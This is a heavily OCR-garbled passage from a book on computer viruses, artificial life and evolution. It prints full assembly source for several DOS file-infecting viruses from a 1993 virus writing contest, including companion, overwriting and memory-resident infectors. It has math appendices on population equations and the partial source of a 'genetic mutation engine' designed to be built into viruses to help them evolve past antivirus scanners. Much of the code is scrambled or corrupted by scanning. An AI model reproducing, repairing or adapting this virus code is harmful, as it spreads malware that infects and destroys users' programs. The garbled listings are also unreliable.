;was loaded by DOS. It copies itself up there, and then searches for an
juninfected file. To determine if a file is infected, it checks the first two
;bytes to see if they are the same as its first two bytes. It reads the file
;into memory right above where it is sitting (at 100H in the upper segment).
;If not already infected, it just writes itself plus the file it infected back
jout to disk under the same file name. Then it moves the host in the lower
isegment back to offset 100H and executes it.

.model tiny ;Tiny model to create a COM file
.code

;DTA definitions

DTA EQU 0000H ;Disk transfer area

FSIZE EQU DTA+1AH ;file size location in file search

FNAME EQU DTA+1EH ;file name location in file search
ORG 100H

R Rk Rk ke kR ok kR kR kR kR Rk kR kR e ko

iThe virus starts here.

VIRSTART:
mov ax,ds
add ax, 1000H
mov es, ax ;jupper segment is this one + 1000H
mov si, 1000 jput virus in the upper segment
mov di,si ;jat offset 100H

H mov cl,BYTE (OFFSET HOST AND OFFH);can’t code this with TASM
mov cl, 8BH ;jwe can assume ch-0
rep movsb
mov ds,ax ;set ds to high segment
push ds
mov ax, OFFSET FIND_FILE
push ax
retf ;jump to high memory segment

;Now it’s time to find a viable file to infect. We will look for any COM file
;and see if the virus is there already.

FIND_FILE:
xor dx, dx ;move dta to high segment
mov ah, 1AH ;jdon’t trash cmd line
int 21H ;host expects it!
mov dx, OFFSET COMFILE
mov ch, 3FH ;search for any file
mov ah, 4EH ;DOS search first
int 21H

CHECK_FILE: je ALLDONE ;no COM files to infect
mov dx, FNAME ;first open the file
mov ax, 3D02H ;ir/w access open file
int 21H
je NEXT_FILE ;error opening file
mov bx, ax ;put file handle in bx
mov di, FSIZE
mov cx, [di] jget file size

mov dx, si ;and read file in
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NEXT_FILE: mov

COMFILE DB

W

the high segment,

;in the high segment.
INFECT_FILE:

mov
int

;The infection process

;down so that its code

ALLDONE:
mov
mov
mov
push
shr
mov
int

push
; sub

rep
retf

ah, 3FH
21H

ax, [si]
NEXT_FILE

ax,WORD PTR [VIRSTART]
INFECT_FILE

ah, 3EH
21H

ah, 4FH
21H
SHORT CHECK_FILE

T, com’,0

cx, cx
dx, cx
ax, 42008
21H

ah, 40H
dx, 100H

cx,WORD PTR [di]

cx, OFFSET HOST - 100H
21H

ah, 3EH
21H

;DOS read function

;Si=OFFSET HOST here
;skip file if error

;see if infected already

;nope, go do it

ielse close the file
isearch for another file

;look for another file

;and go check it out

n we get here, we've opened a file successfully, and read it into memory.
the file is set up exactly as it will look when infected.
;Thus, to infect, we just rewrite the file from the start, using the image

;jreset file pointer

;adjust size of file
;write infected file

iclose the file

is now complete. This routine moves the host program

starts at offset 100H,

ax, ss
ds, ax
es,ax
ax
dx, 1
ah, 12H
21H

and then transfers control to it.
;set ds, es to low segment again
;prep for retf to host
jrestore dta to original value
;for compatibility
;moving host back to orig loc
;move code, don’t trash stack
;hand code-save a byte

;move code
;and return to host

;The host program starts here.

;to DOS.
HOST:
mov
int
HOST_END:
END

ax, 4C00H
21H

VIRSTART

This one is a dummy that just returns control

;Terminate, error code = 0
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The COMPANION-101 Virus was judged the Grand Prize
winner. It fufilled all of the requirements for the contest in a mere
101 bytes. It is a memory resident companion virus which renames
the file it infects to the same name, only with a “ V" as the very last
letter. The author, Stormbringer, prefers to remain anonymous to
this day. The source listing of this virus follows. It may be compiled
with TASM or MASM.

Companion 101
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Memory Resident Companion File Virus by Stormbringer

;  This virus is a simple companion virus that works by renaming any file
jthat is executed to *.??V and creating a hidden file with the original name.

;If it is not in memory,
;will install itself in memory and terminate.
jexecute an infected file will execute the renamed host,
jexecution attempt will infect the file executed.

;in length.

.model small
.radix 16
.code
org 100
start:
mov
int
mov
mov

mov
mov
int

mov
int

INT_21:
cmp
ine

Execute:
push

mov
push
mov

push
pop

Load_Filename:
lodsb
stosb
or
inz

Create_New File:
mov
pop
push
mov
int

push
pop

xchg

mov
int

Already_There:

pop
mov
pop
Go Int 21:
db
end_prog:
1P 21 dw
cs_21  dw

New_Fname
End_Memory:

ax, 3521
21

word ptr [IP_21],bx
word ptr [CS_21],es
dx,offset INT_21
ah, 25

21

dl,offset End Memory+1-100
27

ah, 4bh
Go_Int_21

si bx cx di es ax ds dx
di,offset New Fname

di

si,dx

cs
es

al,al
Load Filename

byte ptr es:[di-2],'V’

ax, bx

ah, 40

cx,offset end_prog-100
dx, 100

21

ah, 3e

21

dx ds ax es di cx bx
byte ptr ds:[si-2], 'V’

si

Oea

?

?

db 30 dup (?)

then the first time an infected program is run it

After that, any attempt to
and any other
The virus is 100 bytes

;Get Int 21 address and save
;Set Int 21 handler

;Go TSR

;If it’s not an execute
;command, continue with
;INT 21.

;DS:DX — Filename
;Save REGS

;Setup regs to copy filename

;Load filename into New_Fname

;New name character

iRename file to *.?2V

;If it doesn’t work, then
;it’s probably already
;infected, so let’s run the
shost file.

;iCreate file with original
;name .

;Write virus to it.

;Close.

;Restore all but SI
;Change last byte of orig.
;filename to run host.
;restore SI.

;Jump to Int 21.
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end start

The STOMPER-101 virus discussed in the chapter In the
Beginning is a simple modification of the COMPANION-101. It
differs from the companion virus in that it simply overwrites files
instead of renaming them. Its effective size is 66 bytes. Its listing
follows:

STOMPER - 101

; A simple memory resident overwriting virus, very close to COMPANION-101.
; NOP's inserted to make it as close to COMPANION-101 as possible!

.model small

.radix 16
.code
org 100
start:
mov ax, 3521
int 21
mov word ptr [IP_21],bx
mov word ptr [CS 21],es ;Get Int 21 address and save
mov dx,offset INT_21
mov ah, 25 ;Set Int 21 handler
int 21
mov dl,offset End Memory+1-100 ;Go TSR
int 27
INT 21:
cmp ah, 4bh ;If it’s not an execute
ine Go_Int_21 ;command, continue with
;JINT 21.
Execute: ;DS:DX = Filename
db 90 ;push si
push bx cx di es ax ds
db 90 ;push dx
db 90, 90, 90 smov di,offset New_Fname
db 90 ;push di
db 90, 30 ;mov si,dx
db 90 ;push cs
db 90 ipop es
Load_Filename: ;Load filename into New_Fname
db 90 ;lodsb
db 90 ;stosb
db 90, 30 jor al,al
db 90, 90 ijnz Load_Filename
db 90, 90, 90, 90, 90 smov byte ptr es:[di-21,'V’
db 90, 30 smov ah, 56
db 90 ;pop di
db 90, 90 ;int 21
db 90, 90 id Already_there

c
;it’s probably already
;infected, so let’s run the

;host file.
Create_New_File:
mov ah, 3¢
db 90 ;pop dx
db 90 ;push dx
mov cl1,0000b ;Create file with original
int 21 ;name.
push cs
pop ds
xchg ax, bx
mov ah, 40
mov cx,0ffset end_prog-100 ;Write virus to it.
mov dx, 100
int 21
mov ah, 3e

int 21 ;Close.
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Already There:

90 ipop dx
pop ds ax es di ox bx ;Restore all but ST
db 90, 90, 90, 90 rmov byte ptr ds:[si-2],'V’

;Change last byte of orig.
;filename to run host.

iret ;pop si ;jre-
store SI.
Go_Int_21:
db Dea ;Jump to Int 21.
end_prog:
1P 21 dw 2
cs_21  dw 2
New Fname do 30 dup (?)
End Memory:
end start

In second place was the Eem-DOS 5-Voorde Version 2 virus,
which didn’t work quite as well as the COMPANION-101. It was
written by Dark Ray from the Trident virus writing group. Voorde’s
listing follows:

The Eem-DOS 5-Voorde Virus version 2.0

Smallest (101 bytes) COM file infector which works with te folowing
principe:

Before:

[First 3 bytes of file][rest of file]

After:

[jmp to virus][rest of filel[virus][first 3 bytes of file]

This way the virus can restore the first 3 bytes of the file so
the file will still work.

If you want no registers to change you can add some pushes, but
it’11 make the virus much larger.....

(C)1993 by [DaRkRaY] / TridenT

BTW This is only a educational source, and this virus should not be
spread, you may publish this file in it’s original form.

If you intend to spread this virus you will take all the responsibilities
on youself so the author will not get into trubble.

If you do not agree with this, destroy this file now.

CODE SEGMENT
ASSUME CS: CODE

ORG 100h
LEN EQU THE_END - VX ; This bab’s length
START:
DB 0E9h, 0,0 ; Jump te virus. (carrier
; program)
VX
PUSH ST ; Put 100h in DI and save
PUSH ST ; it as return point.
POP DI i
CALL RELATIVE i
RELATIVE: ; Calculate where the old 3
POP SI ; bytes are stored.
ADD SI, (OLD_BYTES - RELATIVE) ;
PUSH ST ; Save it for later.
MoV CL, 3 ; Restore the first 3 bytes.
REP MOVSB i
MoV DX, SI ; Set DX to file spec.
POP ST ; Restore SI
DEC AX i
AGAIN: ADD AH, 4Fh ; Search for (next) file
INT 21h ; and exit if non found.

Jc EXIT



MoV
CAL

MoV
CAL.

CMP
JE

MoV
XOR
CWD
INT

SUB
ADD
MoV

MOV
MoV
MOV
SUB
CAL

DEC

MoV
I0:

MoV

MOV

INT
EXIT:

OPEN:
INT
MOV
MOV
INT
XCH(
RET

OLD_BYTES:

FILE NAME:
NEW_BYTES
THE_END:

_CODE  END
END

The First International Virus Writing Contest

DI, ST

AH, 3Eh
L OPEN

AH, 3Fh
L 10

BYTE PTR [DI
AGATN

AX, 4202h
CX, CX

21h

AX, 3
DI, 8
WORD PTR DS:

AH, 40h

CL, LEN

DX, DI

DX, (OLD BYTE
L OPEN

DI
RH, 40h

cL,3
DX, DI
21h

21h
AX, 3D02h
DX, 9Eh
21h

G BX, AX

NOP
NOP
RET
DB rx %

DB 0ESh

S
START

; nice
; Read
1,0E9h ; Next
;i is a
; Goto
[DI],AX H

file
S - VX) + 8B

Read

Open

', 0h File

Close open file.

Start

Put ST in DT

(also
anti-debug trick!)

first 3 bytes.

file if first instr.
JMP FAR. (marker)

ECF.

Set JMP to virus.

Write virus and open

again.

Write JMP

or write 3 bytes.

carrier program.

file.

First 3 bytes of carrier
program.

to search for (all)

JMP to virus buffer.
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Third and fourth places were also captured by Stormbringer,
with two 122-byte viruses, both COM file infectors. These are also

listed here for your enjoyment. The first is Video-Shift.

sk dk ek k ok ko k ko k ok ok ko ko ok ok ok ok kR ok ko ko ok Rk Rk ok ko ok ko Rk

;*infect .COM files in the current directory.

i Video Shift (122 bytes) *
Lx *
i* Written by Stormbringer *
* *
;*  Written exclusively for the 1993 First International Virus Writing *
;*Contest, this virus is a relatively small direct - action virus that will *

Some options can be excluded *

;*from the code which, while making the virus more likely to cause a program*

;*to malfun

ction, will change its size from 122 bytes to 108 bytes.

;*contains the reduced version of this virus.
£k R ek kR Rk R K R K R R R R K R ek R R Rk ek o Rk R kR K R ek kR Rk R

.model smal
.radix 16
.code

org

1

100

VS_108 *
N
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start:
mov ax, 06900 ;T'm using a back page in video mem.
mov es,ax ito store the virus while restoring
mov di, 100 ;the host and performing infections.
mov si,di ;Address=B900:100
push cs di di es ;push numbers for later RETF's
mov cl, (end_prog-start+l)/2
repnz movsw ;Copy virus up into memory
mov ax,offset After Jump
push ax
retf ;Jump to new copy

After_Jump:

push ds

pop es

mov si,offset end prog

pop di

mov ch, Ofe

repnz  movsb ;Copy host to offset 100h
infect:

push cs

pop ds

call set DTA ;Set DIA

mov ah, 4e

mov dx,offset maske ;% .COM

find next:

int 21 ;Find a file.

jc restore ;Return to host if none are found.
mov dx, 9e

mov ax, 3d02 ;Open file READ/WRITE

int 21

xchg ax,bx ;Put handle in BX

mov dx, offset end_prog

mov ah, 3f

mov ch, 0ff ;Read in entire file

int 21

push ax

cmp byte ptr [end prog],0b8 ;Check for infection

je done_infect

mov ax, 4200

xor cx, cx

xor dx, dx ;Go back to beginning of file
int 21

pop cx

push cx

;add cx,end prog-start ;Direct bytes - TASM adds NOP
db 83,0cl,7a ;jotherwise.

inc dh

mov ah, 40

int 21 ;Write infected file back to disk

done infect:

pop ax
mov ah, 3e ;Close file (optional)
int 21 ;may be removed for a decrease of 4 bytes.
mov ah,4f ;Find next file.
Jmp find next iKeep infecting files until it runs out.
set_dta:
mov dx, 80
mov ah, la ;Set DTA
int 21
ret
restore:
push es
pop ds ;Restore DTA to original and go to host prog.
call set_dta
retf
maske db r*.coM’, 0 ;File mask for search routine.
;Could be changed to "*.C*',0
;to eliminate one byte, but this would
jcause misfires on things like .CAP and
;.CEG files.
end_prog:
ret ;Not part of virus, just there for

;first run.
end start
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The final virus to gain recognition in the contest is the MINI-

MEM, by Stormbringer:

R R KK R R R R KRR kK R kK kR Rk R Rk R KK Rk R KKK kR Kk

Mini-Mem

(122 bytes)

Written by Stormbringer

i Written exclusively for the 1993 First International Virus Writing

; *Contest,

;*will infect

;*area.

.COM files as they are executed.
;*it goes memory resident on its first run taking 64K to use as a working
Because of this method, the first time an infected program is run
;*after bootup the program will fail
;*run perfectly.

this virus is a relatively small memory resident virus that

After that, however, infected

To save programming space

*
*
*
«
*
*
*
*
*
*
«

sk ke ko ko ok ko ok ko ko ok k ok ok ok ok Rk k Rk ko ok Rk Rk ke ko ok kR Rk ok

.model small
.radix 16

.code
start:

Go Mem:

Int_21:

Restore_Control:

Execute:

org 100

int

cmp
je

cmp
ine
cmp
ine

mov
pop
mov
push
mov
repnz
xor
iret

push
mov
int
xchg

push
pop

push
mov

xor

int

;add
db

inc
int

ax, 3521
dx,offset Int_21
21

word ptr [IP_21],bx
word ptr [CS_21],es
ah, 25

21

dh

27

ah, 4bh

execute

al,21

Go Int 21
dx,offset Int 21
Go_Int_21

di, 100

si

si,offset end prog
di

ch, 0fdh

movsb

ax, ax

ax bx cx dx ds
ax, 3d02
21

ax, bx

cs
ds

dx, offset end_prog
ah, 3f -
ch,0fe

21

si,dx

byte ptr [sil,0b8
done
byte ptr [sil, M’
done

ax
ax, 4200
cx, cx
dx, dx
21

cx

cx, end_prog-start
83,0c1,7ah

ah, 40
dh
21

;Get INT 21 addresses.

;Save addresses for handler.

;Set Int 21

;Go TSR, take a little <64K.
; (Extra space used in infection

;Is it an execute command?
;Could be install check....

;If not, let INT 21 continue.

;Is install check, restore
;host file and run it.

;Copy host file down in memory.

;Return to host.

;Infect program being executed.

;Open file read/write.

;Read in entire prog.

;Check for Infection

;Check for .EXE

;Go to beginning of prog

;TASM inserts a NOP so do it directly.

;Write program back with virus
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done:
mov ah, 3e ;Close file
int 21
pop ds dx cx bx ax
Go_Int_21:
db Dea ;Jump to Int 21.
IP 21 dw 0 ;Not ’?’ because of the need to put
cS 21 dw 0 ;a program directly after it in
jmemory.
end_prog:
Host_Program: ;Host Program; not part of virus.
ret ;This executes an INT 20 from the PSP.

end start

All of these viruses, both source and executables, are included
on the Program Disk.



Appendix D: Solving
Differential Equations

This appendix will serve to introduce differential equations to
those who are not familiar with them and provide a simple intro-
duction to solving them numerically. Although intimidating to the
uninitiated, the concept of a derivative is fairly simple, and solving
differential equations—at least the simple ones in this book—need
not be shrouded in mystery.

To understand what a derivative is, think of a line. The equation
of a line can be written as

f(x) = mx + b D.1

where b is the y-intercept—the point where the line intersects the
y-axis (See Figure D.1)—and m is the slope, which measures how
steep the line is. A line with a slope of 1 is at a 45 degree angle. A
greater slope means a steeper line. The slope of the line in Figure
D.11is 1/2.

The slope is what we want to concentrate on. When you know
the slope of a line, you can visualize it. The slope gives you valuable
information about the line. Likewise, you can imagine that we
could define a slope for a function that is not a smooth line. This
slope could not, of course, be a constant. It must be another
function—a new function that tells us the slope of the original
function at any given point. For example, the function pictured in
Figure D.2 has some steep parts (A) and some gradually increasing



334 Computer Viruses, Artificial Life and Evolution

Y axis

X axis
f(x)=mx+b

Figure D.1: A Line

Tangent line

X

Figure D.2: A function with variable slope.
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parts (B). We might imagine the slope of a function at any point x
as being the slope of a line which is tangent to that line, as depicted
in Figure D.2. Now, imagine a function g(x) which is everywhere
the slope of the line tangent to f(x). We call this function g the
derivative of f. Mathematically, we can define a derivative as

g(x) = df(x)/dx = limit (Af/Ax) = limit ((f(x+Ax)-f(x))//Ax) D.2
x-0 x-0

where /Ax is just some small number. This limiting process is
depicted in Figure D.3. An approximate derivative can easily be
computed by simply computing the number

f/Ax = (f(x+Ax)-f(x))/Ax D.3

where /\x is chosen small enough so that f(x) nearly looks like a
straight line in the interval x to x+/Ax. For many simple functions,
the derivative D.2 can be computed exactly, and these derivatives
are often tabulated in books. For example, we can solve D.2 when
f(x) is the function for a straight line. If

Tangent line

AX1

Figure D.3: Taking the derivative as a limit.
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f(x)=mx +b D.4
then
df(x)/dx = limitf(m(xc+Ax) tb-mx-b)//x) = m D.5
X
In other words, the slope is m, just as we would expect.

What we are interested in here are differential equations. These
are equations involving the derivatives of some function we want
to solve for. For example, we might have the equation

df(x)/dx = 2x D.6
and we want to determine what f(x) is. There are various analytic
techniques for solving simpler differential equations, but they
usually break down as soon as the equations become too complex
or non-linear. Typically, we must resort to numerical techniques to
solve such equations. That is not normally too hard, because we
can use the approximate definition of a derivative, D.3. For exam-
ple, suppose we have a population equation of the form

dP(t)/dt = k + oP(t) D.7

Then, if we know the population at t=0 is P(0)=0, we can calculate
P(At) by changing D.7 into the approximate equation

p//t = (P(t+AD)-P(t))/At = k+0P() D.§
and solving for P(t+/t),

P(t+At) = P(t) + At(k+0P(t)) D.9
Thus,

P(/\t) = kAt D.10
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Applying equation D.9 again and again, we can derive P(2At),
P(3At), etc. For example,

PQ2At) = P(At) + At(k+aP(At)) D.lla
= 2kAt + ok(At)? D.11b

This kind of an algorithmic substitution process is very easy to
program. For example, a simple loop,

P=0;
for (t=0; t<to; t+=dt) P=P+dt* (k+alpha*P);

will calculate P(to). Generally, this approach is sufficient for any
ofthe equations discussed in this book. There are a number of things
to be aware of in writing such a program, though. Most important
is a proper selection of dt. It must be small enough so that the
function P(t) is fairly well approximated by lines in any interval t
to t+dt. Of course, since you don’t know what P(t) looks like until
you’ve solved the equation for it, picking a small enough Dt is
somewhat of an art. Typically, you pick a value, and look at the
resulting P(t) to decide if your choice was good. You also might
repeat the calculation using dt/2 just to see how it changes the result.
With these problems in mind, you might be tempted to use the
smallest dt imaginable. Of course, that will lead to problems too.
Firstly, the smaller your dt, the longer your loop will take to finish.
Secondly, if dt is too small, you can run into rounding errors
because the numbers your computer uses have only so many
significant digits. So what you really want to do is pick the largest
dt that will provide an answer of acceptable accuracy.



Appendix E: Stochastic
Population Equations

This appendix explains some of the numbers discussed in the
chapter The Fact of Evolution. They are reserved for this appendix
because my feeling was they were perhaps a bit too complex, and
they bogged the general text down in mathematics.

Basically, the equations

dPy/dt =K + a((N-2P;/N)(1-85¢)P,, - P, E.la
and
dPy/dt = oj(N-2Pj)/N)P; - 5P; + ca((N-2P;)/N)P,, E.1b

(which are equations 19.11 in the text) describe the behavior of the
average population of the given mutations V;j of V, accurately.
However they do not describe the statistical variations in the
population at all. Those statistical variations can be important in
determining the likelihood that one virus evolved into another. For
example, we need them to determine whether V, actually evolved
into V| in the discussion in the text.

To model the population—including the statistical vari-
ations—properly, we need a stochastic model. To build such a
model, we define probabilities

jk(t) = Probability that there are k individuals of V; at timet E.2
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The jk(t) obey the equation
=1 E3

summing over k, which just says that there must be some number
of viruses, whatever that number is. They also are related to the
population Pj(t) of Vjin equation E.1 by

Pi(t) = Zkri(®) E4

Now, rather than using a single equation for P;, we will have
to deal with an infinite series of equations—one for each jk(t), for
all possible values of k. Obviously, that complicates matters quite
a bit, but the benefits are essential.

The equation for 75* will take the form

k/q — k+1

+ [0e((N=2Pj)/N)P + tj(N-2Py)/m) (k- 1)]r5*"!
- [aE((N-ZP)/N)P, + cij((N-2P;)/N)k + Bik]r* ES5

We retain Equation E.1la for P,, rather than introducing a series of

o<’ to avoid over-complicating the system. Generally P, will be
large and the statistical deviations will be irrelevant to our questions
about evolution.

We are primarily interested in applying equation E.5 to V1 and
to the sterile mutations here. For these, let’s assume that [37=[3,. That
means the anti-virus is just as effective at catching Vj as it was at
catching Vo.! We also assume P; = Py, i.e. the main component of
the virus population is Vo, and V;makes up only a small part of the
balance. That is usually the case whenever the statistical aspect of
the jk’s are of any real use to us. With these assumptions, E.5
reduces to

1 Note that this was not true of V!
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dr*/dt = B+ D!
+ [0E((N-Po)/N)P, + 0i((N-Po)/N) (k- 1)]r5*!
- [0E((N-PR)/N)P, + 01 (N-Po)/N)k + k] E6

There are two solutions of this equation we’re interested in,

when 0j=0 and when 0;#0. We take up the 0j=0 case first. 0;=0
means the virus is sterile. It is created as a mutation, but it cannot
reproduce any further. We would expect a fixed, constant back-
ground of such mutations to exist once the population of V,
stabilizes. We can calculate this background by setting Po(t)=P, (a
constant), and looking for a constant solution where

dr/dt=0,k=0,1,2,3. .. E7
The first equation in the series E.6 becomes
i - 0e(N-P/N)P, 150 =0 ES8
)
5 = (N-PoYN)Po(ce/R)rg” E9
The k-th equation will give

i = [(0EPo(N-Po))(NB(k+ D) Hk/(k+1)] 75
- [(0£Po(N- Po))/(NB(k+ )] 5! E10

Defining

= 0Py(N-P,)/N Ell
this sequence takes the form

5 =eprg E.12a

P = et + (R 1)) Ei2b
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which is solved by

= (fpkkn” E.I3

Using the normalization condition (E.3) we get

=€ E.l4a

i = (*pMk!) e E.14b

We can then use (E.4) to calculate the average number of Vj in the
system, with the result

<Pj> = £p = £0Py(N-Po)/N E.IS
Likewise, the standard deviation of P; may be calculated using

=<k <ge? = 5K jk- 2072 E.16

Again, this may be solved to give
=0 = £0Po(N-Po)/N E17

which tells us that <P;> is not very sharply defined. This is equation
19.11.

Let us now consider 0;#0. Practically speaking, an analytic
solution of this system is not possible. One can, however, use
equation E.5 to prove that equation 19.11 is true using <Pj>—the
average population—instead of Pj, an exact population. Likewise,
one can determine the 75*’s under steady state conditions, when P,
and 75 are all constant. To do this we simply set the left hand side
of equations E.la and E.5 to zero (because, in order to be constant,
the time derivative must be zero). Then the series of equations is
easily solved to give

jk+l :( (k"f‘l))-l{[ PQ(N'PO)/N+ Jk(N'Po)/N] jk
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- [(01EPo(N= P)/NeHarj(k-1)(N-Po)/ NI} E.I8

which is where equation 19.17 comes from.



Appendix F: The
Darwinian Genetic
Mutation Engine

In this appendix are all the technical details concerning the
Darwinian Genetic Mutation Engine and how to use it, as well as
a complete listing of the engine and an example virus for it.

The engine is designed as an object file which can be included
in any virus, and used for any type of evolutionary behavior you
like. In this text, we used the DGME in conjunction with a mutation
engine, the Trident Polymorphic Engine, however, you could just
as well use it to cause the virus to change its mode of infection,
which stealth techniques to use, etc., etc. There is virtually no limit
on what variability could be built into a virus based on genetic
decisions.

Operation of the DGME

First, let’s discuss the DGME itself, and how to use it. I’ll make
a couple general comments: One is that this engine may look more
complex than it is at first glance. Some of the publics are just for
the TPE. Others are strictly for the more advanced programmer.
Secondly, the random number generator included in the DGME is
not the greatest. It gets the job done, but if you want something
really fantastically unpredictable, I suggest you build one after
reading up on the subject.! Finally the DGME is offset-relocatable.
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The engine has several entry points, and several public vari-
ables. Let’s go over what each of these does, one by one:

DNALOC: DWORD Variable

This variable must be set to the segment:offset address of the
binary DNA strand before any of the DGME functions are called.
All a “binary DNA strand” is is a continguous string of bytes. It is
essentially the genetic data which a virus will use to make deci-
sions, and which the DGME will manipulate by mutations and
sexual mating. This DNA strand normally resides somewhere in
your virus, and it is separate from the DGME.

DNALEN: WORD Variable

This variable specifies the length of the binary DNA strand,
and it may take any value from 1 to 65535. It must be set up properly
before the DGME is called.

GENE_PTR: DWORD Variable

This variable is used internally by the DGME when accessing
data from the binary DNA. Normally a virus will initialize it to the
same segment:offset value as DNALOC above. This variable,
however is incremented by 2 every time GENE_GET is called, and
it is reset to DNALOC after it has been incremented to DNALEN.
It is just a pointer into the binary DNA for GENE_GET’s use. You
must set it up before calling GENE_ GET for the first time.

DEFINE RANDOM _DNA : NEAR Procedure

This procedure is called to pick a random sequence of numbers
for the binary DNA. It simply fills the memory location DNALOC
with random data for DNALEN bytes. This routine is useful for
starting up a population of viruses when you have no idea about
what binary DNA would work best. The SCAN-Slip virus uses this
routine to get started. After it is assembled and run for the first time,

1 See, for example, Donald Knuth, The Art of Computer Programming, Volume
2, Semi-numerical Algorithms (Addison Wesley, Reading, Mass.:1981) pp.
1-170.
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it calls this routine, so that the first infection will have random
DNA. After that, it skips this routine and calls MATE DNA and
MUTATE DNA instead. You could also use this routine to play
around with saltation. For example, you could trigger a call to this
function in your virus when a certain genetic combination, or some
rare, random event occurred. Then the next child would essentially
be a “hopeful monster” which may have wonderful new properties,
or it may get caught right off the bat.

MUTATE_DNA: NEAR Procedure
This procedure simply mutates the binary DNA in the virus at
random. It allows for multiple mutations in a single call, but only

one bit can change per byte per call. The mutation rate is controlled
by the variable MUT RATE.

MATE_DNA: NEAR Procedure

This routine allows the virus to sexually reproduce. When you
call it, you must put the address of another binary DNA strand in
ES:SI (and the DNA of the virus doing the mating is assumed to be
at DNALOC). The frequency of crossover in the mating process is
controlled by the variable CROSS _FREQ. Getting another virus’
DNA into memory at es:si is left entirely up to the virus itself. This
can be a tricky task with a mutation-engine based virus because the
whole point of using a mutation engine is to make the virus
undetectable, so finding another one to mate with is rather difficult.
The SCAN-Slip virus detailed here solves this problem by leaving
its binary DNA in memory when it’s done with its work. Then the
next example to execute can check that memory to see if there is a
piece of DNA there to mate with.

GENE_GET : NEAR Procedure

This routine simply gets a word from the binary DNA and
reports it to the caller in the ax register. The caller can then use that
gene to make a decision, etc. For example, in a mutation engine,
one uses a call to GENE GET instead of the usual call to a random
number generator. This routine works in conjunction with the
GENE_PTR, so that you can call it as many times as you like and
it will get data from the gene. You should beware, however that it
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does loop around and will report data from the same gene twice if
called often enough. You may or may not want that to happen, and
the only way to tell what will happen is to analyze your code and
pick the size of your binary DNA properly.

RAND_SEED : NEAR Procedure

This routine seeds the pseudo-random number generator with
a random number. It is called prior to calls to GET RANDOM.
These routines are made public because the TPE needs them, once
we have taken its random number generator out of it.

GET_RANDOM: NEAR Procedure

This routine gets a pseudo-random number from the random
number generator. It is reported as a word in the AX register.
Normally, you should not have to call it from a virus, but the TPE
needs it in one place.

MUT_RATE:WORD Variable

This variable controls the mutation rate for the function MU-
TATE DNA. The mutation rate per byte is given by
MUT_RATE/OFFFFH. Thus, for example, if MUT RATE =FFF,
then the mutation rate is 1 in 16. The default value of MUT RATE
is FFF, but it is made public so you can set it to something else.

CROSS_FREQ: WORD Variable

This variable controls the frequency of crossover when mating.
The crossover rate is given by CROSS FREQ/OFFFFH, so it works
just like MUT _RATE. The default value of CROSS FREQ is
FFFF, so that crossover always occurs during sexual reproduction.
This is an appropriate crossover rate for a single chromosome
system, because in such a system, sexual reproduciton without
crossover isn’t really sexual reproduction at all.

The DGME Source
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The following is the source listing of the Darwinian Genetic
Mutation Engine. It may be compiled to an object file using TASM
or MASM, and then linked with mutation engines, viruses, etc.

;Darwinian Genetic Mutation Engine
public DNALOC, DNALEN, DEFINE_RANDOM DNA, MUTATE DNA, MATE_DNA,
public GENE_GET,GENE_PTR
public RAND_SEED, GET_RANDOM, MUT_RATE,CROSS_FREQ
.model small
.code

;The followinng values MUST be set up before any of the public functions
;in this module are called!!

DNALOC DD ? ;location of DNA strand, segment:offset

DNALEN DW ? ;length of DNA strand, in bytes

MUT_RATE DW OFFFFH / 16 ;the divisor gives the mutation rate PER BYTE
CROSS_FREQ Dw OFFFFH ;the divisor gives the crossover rate

;This procedure reads a single gene from the DNA in seguence. A 'gene’ here is
;simply a single word. That word is returned in the ax register, and all other
jregisters are preserved. This routine maintains a pointer into the chromosome,
;GENE_PTR, which must be set - DNALOC before the first call here. The pointer
;is updated automatically by this procedure to point to the next gene. It

;goes back to DNALOC when the pointer passes DNALOC+DNALEN, so you have to make
;sure your chromosome is long enough for the number of calls you’re going to
;make, or you’ll have one gene answering two questions, etc. (That is not
;necessarily bad though - it happens in the real world too.)

GENE_PTR DD ?
GENE_GET PROC NEAR
push es ;save registers
push di
push bx
push cx
call GG1 ;joffset relocation
GG1: pop bx
sub bx, OFFSET GG1
les di, cs: [bx] [GENE_PTR] ;get pointer to genes
mov ax,es:[di] sread one word
add di, 2 jupdate GENE_PTR
mov cx,WORD PTR cs: [bx] [DNALOC]
add cx, cs: [bx] [DNALEN]
cmp di, cx
jc RG1
mov di,WORD PTR cs: [bx] [DNALOC]
RGL: mov WORD PTR cs: [bx] [GENE_PTR], di
pop cx ;restore registers
pop bx
pop di
pop es
retn
GENE_GET ENDP

;This routine defines a random DNA strand. It should be used in the early
;stages of the virus, since we need to build up a good population of viruses
jwith different genes to get things going right. Essentially when this is used
jthe virus responds like a standard random-number based decision maker, e.g.,
;like a standard mutation engine. This routine can also be used to generate

;a macro-mutation, which may be useful in some circumstances.

DEFINE RANDOM DNA PROC NEAR
push ds
push es
call DRD1
DRD1:  pop bx
sub bx, OFFSET DRD1
call RANDOM_SEED ;initialze random number generator
mov ax,cs
mov ds, ax
mov es,ax
mov cx, [bx] [DNALEN] ;set up length & location
les di, [bx] [DNALOC]
DRGLP: call GET_RANDOM ;get a random byte
stosb isave it
dec cx

iz DRD2
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mov al,ah
stosb
loop DRGLP ;and loop until done
DRD2:  pop es
pop ds
retn
DEFINE_RANDOM DNA ENDP

;This routine introduces completely random mutations into the viral DNA based
jon the mutation rate defined above. (Note that since the mutation rate is
jpublic, it could be dynamically changed by the virus itself.) Also, note
jthat this routine does not implement “hot spots”.

MUTATE_DNA
push
push
call

MD1: pop
sub
push
pop
call
mov
mov

MDLP: call
cmp
inc

MDL2: call
les
add
dec
push
mov

b
MDL3: loop

pop

pop

re
MUTATE DNA

PROC NEAR

ds

es isave registers
MD1

bx
bx, OFFSET MD1

cs
ds

RANDOM_SEED

dx,WORD PTR [bx] [MUT_RATE] ;mutation rate in dx

cx, [bx] [DNALEN] ;DNA length in cx

GET RANDOM ;random number in ax

ax,dx ;is ax<dx?

MDL3 ;no, carry on without mutating this byte
GET_RANDOM ;ok, mutate a bit in this byte now

si, Tbx] [DNALOC] ;calculate byte address

si,cx

si

cx

cl,5 jcreate a number 0 to 7 from the low part
al,cl ;of our random number

cl,al

cl

al,al juse that to make a l-bit mask

al,cl

ah,es:[si] jget proper byte from DNA

ah,al jtoggle the bit we want to mutate
es:[si],ah ;and put it back

Ccx

MDLE ;loop until whole DNA strand done

es

ds

ENDP

;This routine does the mating of the DNA resident in this program and another
;strand, located at ES:SI in memory. The result is used to replace the strand
;of DNA currently in memory. This mating routine allows one crossover to occur
;at the rate determined by CROSS_FREQ.

MATE DNA
push
push
push
pop
call

VMATEl: pop
call
cmp
